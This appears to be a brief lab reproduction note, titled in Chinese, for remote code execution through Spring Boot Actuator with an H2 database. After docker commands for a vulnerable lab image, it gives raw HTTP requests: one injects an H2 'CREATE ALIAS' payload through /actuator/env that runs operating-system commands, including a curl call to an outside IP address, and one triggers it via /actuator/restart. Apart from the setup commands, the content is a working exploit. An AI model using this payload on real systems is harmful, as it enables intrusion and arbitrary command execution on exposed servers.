Spring Boot Actuator H2 RCE复现-解决篇

docker build -t spaceraccoon/spring-boot-rce-lab .
docker run -p 8080:8080 -t spaceraccoon/spring-boot-rce-lab

POST /actuator/env HTTP/1.1
Host: 39.105.93.185:8080
Content-Type: application/json
Content-Length: 389
{"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} throw new IllegalArgumentException();}'; CALL EXEC('curl 39.105.93.185:8081');"}

POST /actuator/restart HTTP/1.1
Host: 39.105.93.185:8080
Content-Type: application/json
Content-Length: 356
{}